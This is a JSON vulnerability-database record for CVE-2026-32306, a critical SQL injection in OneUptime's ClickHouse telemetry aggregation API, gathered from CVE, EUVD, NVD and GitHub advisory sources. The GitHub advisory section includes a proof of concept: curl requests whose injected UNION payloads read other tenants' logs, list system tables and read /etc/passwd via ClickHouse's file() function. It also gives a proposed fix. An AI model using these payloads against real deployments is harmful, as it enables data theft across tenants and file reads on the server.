{"id":"CVE-2026-32306","revision":null,"records":[{"revision":"37a77bb3250b4a37af6f333ddf9b1545","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-32306","aliases":[],"title":"OneUptime ClickHouse SQL Injection via Aggregate Query Parameters","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.","state":0,"publishedAt":"2026-03-12T21:27:51.463+00:00","modifiedAt":"2026-03-14T03:42:22.271+00:00","affected":[{"ecosystem":"Vendor product","name":"oneuptime","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"OneUptime\",\n                    \"product\": \"oneuptime\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 10.0.23\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p5g2-jm85-8g35"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-32306","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-32306","identifiers":["CVE-2026-32306"]},"retained":false,"historicalAffected":[]},{"revision":"e0d5aefb6635436e92b982c333429cf8","observedAt":"2026-11-11T08:32:10.025+00:00","statement":{"source":"euvd","id":"EUVD-2026-11719","aliases":["CVE-2026-32306","GHSA-p5g2-jm85-8g35"],"title":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolate…","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":null}],"references":["https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p5g2-jm85-8g35"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-11719","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 12, 2026, 9:27:51 PM","dateUpdated":"Mar 14, 2026, 3:42:22 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-11719","identifiers":["EUVD-2026-11719","CVE-2026-32306","GHSA-p5g2-jm85-8g35"]},"retained":false,"historicalAffected":[]},{"revision":"f5bb80e2a0f847babd05896573c16855","observedAt":"2026-10-25T07:19:20.959+00:00","statement":{"source":"nvd","id":"CVE-2026-32306","aliases":[],"title":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolate…","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.","state":0,"publishedAt":"2026-03-13T19:54:42+00:00","modifiedAt":"2026-10-07T08:10:00.2+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p5g2-jm85-8g35"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32306","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-89"],"productCriteria":["cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-03-13T19:54:42.000","lastModified":"2026-10-07T08:10:00.200"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-32306","identifiers":["CVE-2026-32306"]},"retained":false,"historicalAffected":[]},{"revision":"330a7b37faab4b1e83b93212785780f2","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-p5g2-jm85-8g35","aliases":["CVE-2026-32306"],"title":" OneUptime ClickHouse SQL Injection via Aggregate Query Parameters","description":"### Summary\n\nThe telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.\n\n### Details\n\n**Entry Point — `Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296`:**\n\nThe `POST /{modelName}/aggregate` route deserializes `aggregateBy` directly from the request body:\n\n```typescript\n// BaseAnalyticsAPI.ts:292-296\nconst aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(\n    req.body[\"aggregateBy\"]\n) as AggregateBy<TBaseModel>;\n```\n\nNo schema validation is applied to `aggregateBy`. The object flows directly to the database service.\n\n**No Validation — `Common/Server/Services/AnalyticsDatabaseService.ts:276-278`:**\n\n```typescript\n// AnalyticsDatabaseService.ts:276-278\nif (aggregateBy.aggregationType) {\n    // Only truthiness check — no allowlist\n}\n```\n\nThe `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`).\n\n**Raw SQL Injection — `Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527`:**\n\n```typescript\n// StatementGenerator.ts:527\nstatement.append(\n    `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n);\n```\n\nThe `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation:\n\n```typescript\n// Statement.ts:149-151\npublic append(text: string): Statement {\n    this.query += text; // Raw concatenation — \"trusted SQL\"\n    return this;\n}\n```\n\nSimilarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`:\n\n```typescript\nstatement.append(\n    `toStartOfInterval(${aggregationTimestampColumnName}, ...)`\n);\n```\n\n**Attack flow:**\n1. Authenticated user sends `POST /api/log/aggregate` (or `/api/span/aggregate`, `/api/metric/aggregate`)\n2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload\n3. Payload passes truthiness check at line 276\n4. Payload is concatenated into SQL via `.append()` at line 527\n5. ClickHouse executes the injected SQL\n\n### PoC\n\n```bash\n# Step 1: Authenticate and get session token\nTOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"user@example.com\",\"password\":\"password123\"}' \\\n  | jq -r '.token')\n\n# Step 2: Extract data from ClickHouse system tables via UNION injection\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\\''oneuptime'\\'' --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n\n# Step 3: Read telemetry data across all tenants\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n\n# Step 4: Read files via ClickHouse table functions (if enabled)\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\\''/etc/passwd'\\'') --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. No allowlist for aggregationType:\ngrep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5\n# Line 276: if (aggregateBy.aggregationType) { — truthiness only\n\n# 2. Raw SQL concatenation:\ngrep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts\n# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n\n# 3. .append() is raw concatenation:\ngrep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts\n# this.query += text; — \"trusted SQL\"\n\n# 4. No validation at API layer:\ngrep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\\|sanitize\\|allowlist'\n# 0\n```\n\n### Impact\n\n**Full ClickHouse database compromise.** An authenticated user (any role) can:\n\n1. **Cross-tenant data theft** — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own\n2. **Data manipulation** — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users\n3. **Server-side file read** — Via ClickHouse's `file()` table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem\n4. **Remote code execution** — Via ClickHouse's `url()` table function, make HTTP requests from the server (SSRF), or via `executable()` table function, execute OS commands\n5. **Credential theft** — ClickHouse default configuration (`default` user, password from env) could be leveraged to connect directly\n\nThe vulnerability requires only basic authentication (any registered user), making it exploitable at scale.\n\n### Proposed Fix\n\n```typescript\n// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:\nconst ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];\n\nif (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {\n    throw new BadRequestException(\n        `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +\n        `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`\n    );\n}\n\n// 2. Validate aggregateColumnName against the model's known columns:\nconst modelColumns = model.getColumnNames(); // or similar accessor\nif (!modelColumns.includes(aggregateBy.aggregateColumnName)) {\n    throw new BadRequestException(\n        `Invalid column: ${aggregateBy.aggregateColumnName}`\n    );\n}\n\n// 3. Same for aggregationTimestampColumnName:\nif (aggregateBy.aggregationTimestampColumnName &&\n    !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {\n    throw new BadRequestException(\n        `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`\n    );\n}\n\n// 4. Use parameterized queries where possible:\nstatement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);\nstatement.addParameter('aggregationType', aggregateBy.aggregationType);\nstatement.addParameter('columnName', aggregateBy.aggregateColumnName);\n```","state":0,"publishedAt":"2026-03-13T20:00:34+00:00","modifiedAt":"2026-03-16T17:16:25.31645+00:00","affected":[{"ecosystem":"npm","name":"oneuptime","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"10.0.23"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p5g2-jm85-8g35","https://nvd.nist.gov/vuln/detail/CVE-2026-32306","https://github.com/OneUptime/oneuptime","https://github.com/OneUptime/oneuptime/releases/tag/10.0.23"],"sourceUrl":"https://github.com/advisories/GHSA-p5g2-jm85-8g35","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-p5g2-jm85-8g35","identifiers":["GHSA-p5g2-jm85-8g35","CVE-2026-32306"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T13:00:02.7707579+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T13:00:02.7707579+00:00","lastSuccessAt":"2026-11-11T13:00:02.9559105+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.9559112+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-b82e898af539f446af94bfe3bb84083f5df4f022d00288cc9fbae0154a5061bb","complete":true,"records":424071,"lastAttemptAt":"2026-11-11T12:57:49.006525+00:00","lastSuccessAt":"2026-11-11T12:57:48.4566769+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:57:49.006525+00:00","snapshotPublishedAt":"2026-11-11T12:31:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8b9b122bc044428c96a4630c531c9378","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T13:12:16.0062956+00:00","lastSuccessAt":"2026-11-11T13:12:16.002+00:00","error":"10 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T13:12:16.002+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13496,"expectedIdentifiers":13813,"failedIdentifiers":10},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T13:00:02.7707579+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T13:00:02.7707579+00:00","lastSuccessAt":"2026-11-11T13:00:02.9567134+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.9567135+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a879d9d6add14faf90d52773703368be","complete":true,"records":13753,"lastAttemptAt":"2026-11-11T13:00:06.155482+00:00","lastSuccessAt":"2026-11-11T13:00:06.151+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:06.151+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T12:59:57.6350799+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:59:57.6350799+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T12:57:49.1672871+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:57:49.1672871+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T13:00:02.7256916+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.7256916+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-10cb353ca77c2a8069d6892d1d394d936b12c0add3c8749e2a1a03a1c5d50426","complete":true,"records":231666,"lastAttemptAt":"2026-11-11T12:59:57.5030871+00:00","lastSuccessAt":"2026-11-11T12:59:55.8981437+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:59:57.5030871+00:00","snapshotPublishedAt":"2026-11-11T12:32:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}